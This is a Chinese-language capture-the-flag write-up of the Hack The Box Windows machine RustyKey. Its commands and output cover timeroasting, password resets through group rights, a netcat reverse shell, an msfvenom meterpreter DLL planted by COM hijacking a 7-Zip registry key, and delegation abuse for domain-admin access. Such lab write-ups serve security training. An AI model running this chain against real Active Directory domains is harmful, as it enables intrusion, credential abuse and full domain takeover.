Season8 - RustyKey

https://app.hackthebox.com/machines/RustyKey | Windows | Hard

Machine Information：As is common in real life Windows pentests, you will start the RustyKey box with credentials for the following account: rr.parker / 8#t5HE8L!W3A

Recon

➜  RustyKey nmap -sT -min-rate 5000 -p- 10.10.11.75                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 12:48 CST
Warning: 10.10.11.75 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.75
Host is up (0.054s latency).
Not shown: 43915 closed tcp ports (conn-refused), 21599 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49670/tcp open  unknown
49672/tcp open  unknown
49673/tcp open  unknown
49676/tcp open  unknown
49692/tcp open  unknown
49737/tcp open  unknown

➜  RustyKey nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 10.10.11.75
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 12:54 CST
Nmap scan report for 10.10.11.75
Host is up (0.34s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 12:32:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2019 (96%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 1903 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2022 (93%), Windows Server 2019 (92%), Microsoft Windows Vista SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h37m27s
| smb2-time: 
|   date: 2025-06-29T12:32:50
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   97.54 ms 10.10.16.1
2   50.11 ms 10.10.11.75

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.90 seconds

机子中给了账户 rr.parker / 8#t5HE8L!W3A ，测试一下凭据

➜  RustyKey nxc ldap 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A' -d rustykey.htb -k
LDAP        10.10.11.75     389    DC               [*] None (name:DC) (domain:rustykey.htb)
LDAP        10.10.11.75     389    DC               [+] rustykey.htb\rr.parker:8#t5HE8L!W3A

仅对LDAP有权限

域分析

有ldap 权限就可以使用bloodhound-python来收集数据

➜  RustyKey bloodhound-python -u 'rr.parker' -p '8#t5HE8L!W3A' -d 'rustykey.htb' -ns 10.10.11.75 --zip -c All -dc 'DC.rustykey.htb' --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: rustykey.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC.rustykey.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 16 computers
INFO: Connecting to LDAP server: DC.rustykey.htb
INFO: Found 12 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: dc.rustykey.htb
INFO: Done in 01M 20S
INFO: Compressing output into 20250629205022_bloodhound.zip

诶？好像并没什么权限？

看一下首先需要到哪一个用户

NN.MARCOS属于HELPDESK组，可以修改大多数用户密码

EE.REED属于远程管理组

属于远程管理组的用户有三个，不止EE.REED

密码喷洒

➜  RustyKey ldapsearch -x -H ldap://10.10.11.75 -D 'rr.parker@rustykey.htb' -w '8#t5HE8L!W3A' -b 'dc=rustykey,dc=htb' "(objectClass=user)" userPrincipalName > users 
➜  RustyKey cat users | grep userPrinci | awk '{print $2}' | awk -F '@' '{print $1}' > usersName.txt
➜  RustyKey cat usersName.txt 
rr.parker
mm.turner
bb.morgan
gg.anderson
dd.ali
ee.reed
nn.marcos
backupadmin

➜  RustyKey nxc ldap 10.10.11.75 -u usersName.txt -p '8#t5HE8L!W3A' -d rustykey.htb -k
LDAP        10.10.11.75     389    DC               [*] None (name:DC) (domain:rustykey.htb)
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\mm.turner:8#t5HE8L!W3A KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\bb.morgan:8#t5HE8L!W3A KDC_ERR_ETYPE_NOSUPP
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\gg.anderson:8#t5HE8L!W3A KDC_ERR_CLIENT_REVOKED
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\dd.ali:8#t5HE8L!W3A KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\ee.reed:8#t5HE8L!W3A KDC_ERR_ETYPE_NOSUPP
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\nn.marcos:8#t5HE8L!W3A KDC_ERR_PREAUTH_FAILED
LDAP        10.10.11.75     389    DC               [-] rustykey.htb\backupadmin:8#t5HE8L!W3A KDC_ERR_PREAUTH_FAILED

无结果，感觉都被堵死了，难道还有其它的方法/路径？

Timeroast

经过佬的提示：可以对计算机账户进行破解

一脸懵比，经过搜索后找到工具 & 文章：https://github.com/SecuraBV/Timeroast

Timeroasting 利用 Windows 的 NTP 身份验证机制，允许未经身份验证的攻击者通过使用该帐户的 RID 发送 NTP 请求来有效地请求任何计算机或信任帐户的密码哈希。当计算机帐户正确生成时，这不是问题，但如果设置了非标准或旧式默认密码，则此工具允许您暴力破解这些帐户。

➜  Timeroast python timeroast.py 10.10.11.75                                                                   
1000:$sntp-ms$2418f183f665f9a5c83dbfc11700a3ae$1c0111e900000000000a02714c4f434cec0bd5e51e099b8ae1b8428bffbfcd0aec0bd91dca11bd97ec0bd91dca11d6c2
1103:$sntp-ms$c0e0c72854de182540c91d361623107d$1c0111e900000000000a02714c4f434cec0bd5e51f38db12e1b8428bffbfcd0aec0bd91dcb40fecdec0bd91dcb4112ef
1104:$sntp-ms$e09ca666aade07ada24608bd83b9a2fb$1c0111e900000000000a02714c4f434cec0bd5e51f3b5540e1b8428bffbfcd0aec0bd91dcb43236bec0bd91dcb438d1d
1105:$sntp-ms$6ec3c57beb28520e502cdee6446df19c$1c0111e900000000000a02714c4f434cec0bd5e51f4b00afe1b8428bffbfcd0aec0bd91dcb531f61ec0bd91dcb533be7
1107:$sntp-ms$2f5f805027ce2b2d0bfcbc836ab42f5d$1c0111e900000000000a02714c4f434cec0bd5e51f68b41ee1b8428bffbfcd0aec0bd91dcb70d123ec0bd91dcb70ef56
1106:$sntp-ms$cd000a53898617dc0cd973f8e839e5b1$1c0111e900000000000a02714c4f434cec0bd5e51f62611ee1b8428bffbfcd0aec0bd91dcb6a7e23ec0bd91dcb6a9aa8
1118:$sntp-ms$ee054be4e17ee5b853370b2b5b40b675$1c0111e900000000000a02714c4f434cec0bd5e51f9f6662e1b8428bffbfcd0aec0bd91dcba78f25ec0bd91dcba79e3f
1119:$sntp-ms$12da551d0e5f7178f7af75afbb0a5382$1c0111e900000000000a02714c4f434cec0bd5e51fa16b1fe1b8428bffbfcd0aec0bd91dcba98edaec0bd91dcba9a2fc
1120:$sntp-ms$36a30fb572b815d843d201fe7a841968$1c0111e900000000000a02714c4f434cec0bd5e51fafc04ce1b8428bffbfcd0aec0bd91dcbb7dd51ec0bd91dcbb7fb84
1121:$sntp-ms$92f012b2753ff95e71ce40ffd1078763$1c0111e900000000000a02714c4f434cec0bd5e51fba5fe2e1b8428bffbfcd0aec0bd91dcbc28042ec0bd91dcbc29b1a
1122:$sntp-ms$9b7714752fee6064d12cb81b9d1667eb$1c0111e900000000000a02714c4f434cec0bd5e51fc14eeae1b8428bffbfcd0aec0bd91dcbc96befec0bd91dcbc98874
1123:$sntp-ms$7b122d698ffd2f325bfac7e1ffc66d56$1c0111e900000000000a02714c4f434cec0bd5e51fcad652e1b8428bffbfcd0aec0bd91dcbd2e290ec0bd91dcbd31337
1124:$sntp-ms$b1da6a31b1c0765e4aeed789f864c90b$1c0111e900000000000a02714c4f434cec0bd5e51fd282efe1b8428bffbfcd0aec0bd91dcbdaa4fcec0bd91dcbdabe27
1125:$sntp-ms$64f2a3fd9d648406f005e257583840db$1c0111e900000000000a02714c4f434cec0bd5e51fd95571e1b8428bffbfcd0aec0bd91dcbe1792cec0bd91dcbe18efb
1126:$sntp-ms$deecd5d1f4606005b181597046c46247$1c0111e900000000000a02714c4f434cec0bd5e51fe1d8cde1b8428bffbfcd0aec0bd91dcbe9fadaec0bd91dcbea1257
1127:$sntp-ms$3532f8aa3e91c748ce0a4a952c947d88$1c0111e900000000000a02714c4f434cec0bd5e51fe9383de1b8428bffbfcd0aec0bd91dcbf15a4aec0bd91dcbf171c7

对Hash进行处理

cat ../timeroast.txt | awk -F ':' '{print $2}' > hash.txt

使用beta版本hashcat进行破解

Rusty88!

寻找立足点

破解得到RID是1125的计算机账户

也就是 IT-COMPUTER3.RUSTYKEY.HTB

查看该计算机账户的权限

给自己添加到HELPDESK组中

➜  Timeroast bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb add groupMember HELPDESK 'IT-COMPUTER3$'

修改用户密码

➜  Timeroast bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb set password EE.REED 'Admin@123!'
[+] Password changed successfully!
➜  Timeroast bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb set password GG.ANDERSON 'Admin@123!'
[+] Password changed successfully!
➜  Timeroast bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb set password DD.ALI 'Admin@123!'
[+] Password changed successfully!
➜  Timeroast bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb set password BB.MORGAN 'Admin@123!'
[+] Password changed successfully!

这里修改密码完毕后无法使用evil-winrm进行登录

➜  RustyKey evil-winrm -i 10.10.11.75 -u 'EE.REED' -p 'Admin@123!' -r rustykey.htb         
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type ArgumentError happened, message is unknown type: 2061232681
                                        
Error: Exiting with code 1

随后我想到是因为需要使用Kerberos认证

首先获取我打算获取BB.MORGAN的TGT

➜  RustyKey getTGT.py rustykey.htb/'BB.MORGAN':'Admin@123!' -dc-ip 10.10.11.75 
ge is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

但是失败了

随后我从BloodHound的注意到，IT组和SUPPORT组都是属于被保护组

我们再看IT-COMPUTER3的权限，属于HELPDESK组，该组拥有向PROTECTED OBJECT组添加成员的权限，也就是HELPDESK@RUSTYKEY.HTB 组的任何成员都有权向 PROTECTED OBJECTS@RUSTYKEY.HTB 组添加和移除成员。

我们将IT组从中删除

➜  RustyKey bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'IT'
[-] IT removed from PROTECTED OBJECTS

然后获取EE.REED的TGT票据

➜  RustyKey getTGT.py rustykey.htb/'BB.MORGAN':'Admin@123!' -dc-ip 10.10.11.75
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in BB.MORGAN.ccache

用AI生成/etc/krb5.conf

➜  RustyKey cat /etc/krb5.conf
[libdefaults]
    # 你的默认 Realm
    default_realm = RUSTYKEY.HTB
    
    # 强制使用 RC4 加密类型，以防万一（解决之前的 ETYPE_NOTSUPP 问题）
    default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac

    # 禁用 DNS 查询，直接使用下面 realms 中定义的 IP
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    RUSTYKEY.HTB = {
        # 直接指定 KDC 的 IP 地址
        kdc = 10.10.11.75
        admin_server = 10.10.11.75
    }

[domain_realm]
    .rustykey.htb = RUSTYKEY.HTB
    rustykey.htb = RUSTYKEY.HTB

然后使用evil-winrm进行登录

➜  RustyKey evil-winrm -i DC.rustykey.htb -r rustykey.htb -k BB.MORGAN.ccache 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: Useless cert/s provided, SSL is not enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bb.morgan\Documents>

成功获得立足点，读取user.txt

*Evil-WinRM* PS C:\Users\bb.morgan\Desktop> type user.txt
4a0621b06ff45715f235cf71ce5acf08

权限提升

Recon

重新导入一下Bloodhound数据

bloodhound-python -k -d 'rustykey.htb' -ns 10.10.11.75 --zip -c All -dc 'DC.rustykey.htb' --dns-tcp -u BB.MORGAN

从Winpeas中信息收集发现mm.turner 用户是我们之前无法直接修改密码的

 Home folders found
    C:\Users\Administrator
    C:\Users\All Users
    C:\Users\bb.morgan : bb.morgan [Allow: AllAccess]
    C:\Users\Default
    C:\Users\Default User
    C:\Users\ee.reed
    C:\Users\mm.turner
    C:\Users\Public

MM.TURNER属于DELEGATIONMANAGER组，难道要打RBCD？

家目录下还存在 internal.pdf

*Evil-WinRM* PSC:\Users\bb.morgan\Desktop> ls

    Directory: C:\Users\bb.morgan\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2025   9:15 AM           1976 internal.pdf
-ar---        6/29/2025   1:47 PM             34 user.txt

内容是：

Internal Memo
From: bb.morgan@rustykey.htb
To: support-team@rustykey.htb
Subject: Support Group - Archiving Tool Access
Date: Mon, 10 Mar 2025 14:35:18 +0100
Hey team,
As part of the new Support utilities rollout, extended access has been temporarily granted to allow
testing and troubleshooting of file archiving features across shared workstations.
This is mainly to help streamline ticket resolution related to extraction/compression issues reported
by the Finance and IT teams. Some newer systems handle context menu actions differently, so
registry-level adjustments are expected during this phase.
A few notes:
- Please avoid making unrelated changes to system components while this access is active.
- This permission change is logged and will be rolled back once the archiving utility is confirmed
stable in all environments.
- Let DevOps know if you encounter access errors or missing shell actions.
Thanks,
BB Morgan
IT Department

内部备忘录发件人：bb.morgan@rustykey.htb 收件人：support-team@rustykey.htb 主题：支持小组 - 归档工具访问权限日期：2025年3月10日星期一 14:35:18 +0100 各位团队：作为新支持实用程序推出的一部分，我们已临时授予扩展访问权限，以便在共享工作站上测试和排除文件归档功能故障。这主要是为了帮助简化与财务和IT团队报告的提取/压缩问题相关的工单解决流程。某些较新的系统处理上下文菜单操作的方式有所不同，因此在此阶段预计会进行注册表级别的调整。几点注意事项：

在此访问权限有效期间，请避免对系统组件进行无关的更改。

此权限更改已记录，并在确认归档实用程序在所有环境中稳定运行后回滚。

如果您遇到访问错误或缺少shell操作，请告知DevOps。谢谢， BB Morgan IT 部门

纳尼纳尼？？提到了已临时授予扩展访问权限，进行注册表级别的调整，总感觉像是DLL劫持

并且收件人是：support-team

Get EE.REED Shell ❌

我们知道 support 组中有EE.REED用户，我们可以直接进行修改密码的

但是support 组也在Protect组中，我们首先要先移出去

➜  RustyKey export KRB5CCNAME=IT-COMPUTER3\$.ccache
bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
[-] SUPPORT removed from PROTECTED OBJECTS

修改EE.REED的密码并获取TGT票据

➜  RustyKey bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb set password EE.REED 'Admin@123!'

[+] Password changed successfully!
➜  RustyKey getTGT.py rustykey.htb/'EE.REED':'Admin@123!' -dc-ip 10.10.11.75
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in EE.REED.ccache

导入票据并登录

➜  RustyKey export KRB5CCNAME=EE.REED.ccache 
➜  RustyKey evil-winrm -i DC.rustykey.htb -r rustykey.htb -k EE.REED.ccache  
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: Useless cert/s provided, SSL is not enabled
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Invalid token was supplied
Success

                                        
Error: Exiting with code 1
malloc_consolidate(): unaligned fastbin chunk detected
[1]    19408 IOT instruction  evil-winrm -i DC.rustykey.htb -r rustykey.htb -k EE.REED.ccache

BOOOOOOOM！行不通

Get EE.REED Shell

我们无法使用evil-winrm来获得ee.reed的shell

那么我们可以尝试通过RunasCS来通过目标用户的显示凭据来运行CMD来获得shell

ToolLink：https://github.com/antonioCoco/RunasCs

首先修改 EE.REED的密码

export KRB5CCNAME=IT-COMPUTER3\$.ccache 
bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb add groupMember HELPDESK 'IT-COMPUTER3$'
bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' --dc-ip 10.10.11.75 -k --host DC.rustykey.htb set password EE.REED 'Admin@123!'

再次进入 bb.morgan 的shell

成功执行

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> ./RunasCS.exe EE.REED 'Admin@123!' "cmd /c whoami"
[*] Warning: The logon for user 'EE.REED' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

rustykey\ee.reed

进行反弹shell

*Evil-WinRM* PS C:\tools> upload ./nc.exe/nc64.exe
                                        
Info: Uploading /root/Desktop/HackTheBox/RustyKey/nc.exe/nc64.exe to C:\tools\nc64.exe
                                        
Data: 60360 bytes of 60360 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\tools> upload ../../Tools/RunasCS/RunasCs.exe
                                        
Info: Uploading /root/Desktop/HackTheBox/RustyKey/../../Tools/RunasCS/RunasCs.exe to C:\tools\RunasCs.exe
                                        
Data: 68948 bytes of 68948 bytes copied
                                        
Info: Upload successful!

./RunasCS.exe EE.REED 'Admin@123!' "./nc64.exe 10.10.xx.xx 1234 -e cmd.exe"

成功拿到 EE.REED 用户的 shell

COM劫持

拿到EE.REED用户后，我们知道我们拥有扩展访问权限，对注册表有一定权限

我们上传accesschk 去查询EE.REED用户是否用拥有修改的权限

列出指定账户在该路径下拥有写（Write）权限的所有子键

PS C:\tools> ./accesschk.exe -accepteula -kuwq "RUSTYKEY\Support" HKLM\SOFTWARE
./accesschk.exe -accepteula -kuwq "RUSTYKEY\Support" HKLM\SOFTWARE

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

结果是没有

寻找COM劫持

PS C:\tools> ./accesschk.exe -accepteula -kuwq "RUSTYKEY\Support" HKCR\CLSID | findstr /I "RW"
./accesschk.exe -accepteula -kuwq "RUSTYKEY\Support" HKCR\CLSID | findstr /I "RW"
RW HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}

能找到一条我们拥有权限的

我们再看底下有什么（AI：这个COM对象的描述是“7-Zip外壳扩展”。这立刻告诉我们，这个组件和文件资源管理器explorer.exe高度相关。当你在文件上右键点击时，菜单中出现的“7-Zip”选项就是由这个DLL提供的。当外壳需要显示7-Zip右键菜单时，它会加载 C:\Program Files\7-Zip\7-zip.dll 这个文件。这就是我们要替换掉的路径。）

PS C:\Windows\system32> reg query "HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}" /s
reg query "HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}" /s

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
    (Default)    REG_SZ    7-Zip Shell Extension

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
    (Default)    REG_SZ    C:\Program Files\7-Zip\7-zip.dll
    ThreadingModel    REG_SZ    Apartment

生成反弹shell的DLL 并上传

➜  RustyKey msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=4444 -f dll -o rev.dll

MSF 监听

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.xxxxxx:4444

我们直接替换掉InprocServer32

PS C:\Windows\system32> reg add "HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\tools\rev.dll" /f
reg add "HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Tools\rev.dll" /f
The operation completed successfully.

改完之后我们再看一下是否修改成功

PS C:\Windows\system32> reg query "HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}" /s
reg query "HKCR\CLSID\{23170F69-40C1-278A-1000-000100020000}" /s

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
    (Default)    REG_SZ    7-Zip Shell Extension

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
    (Default)    REG_SZ    C:\Tools\rev.dll
    ThreadingModel    REG_SZ    Apartment

过一会Shell就弹回来了，并且是mm.turner的shell

PS：有个坏处一下子就会断开，然后要重置机器，被恶心坏了

RBCD

因为它是委派管理组（Delegation Managers），直接就不拖泥带水，直接尝试给机器添加AllowedToDelegateTo 属性，然后就成功了

PS C:\Windows> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$

这里IT-COMPUTER3$ 可以代表（S4U2self & S4U2proxy）任意用户去访问DC

利用链接：https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained

这里无法使用administrator用户，会被禁止

getST -spn "cifs/DC.rustykey.htb" -impersonate "Administrator" "rustykey.htb"/'IT-COMPUTER3$':'Rusty88!'

我们使用backupadmin 因为它属于Dmain Admins

➜  RustyKey getST.py -spn "cifs/DC.rustykey.htb" -impersonate "backupadmin" "rustykey.htb"/'IT-COMPUTER3$':'Rusty88!' -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating backupadmin
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache

➜  RustyKey export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache

➜  RustyKey wmiexec.py rustykey.htb/backupadmin@DC.rustykey.htb -no-pass -dc-ip 10.10.11.75 -k
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

C:\users\Administrator\Desktop>type root.txt
f60fdcd1b96c7ce1c0xxxxxxx

总结

学习到很多，新工具 RunasCs ，accesschk （用于枚举用户对注册表的修改权限）

和很多攻击手段：Timeroast ，COM劫持

上边都是新学习到的

HackTheBox - Machine - RustyKey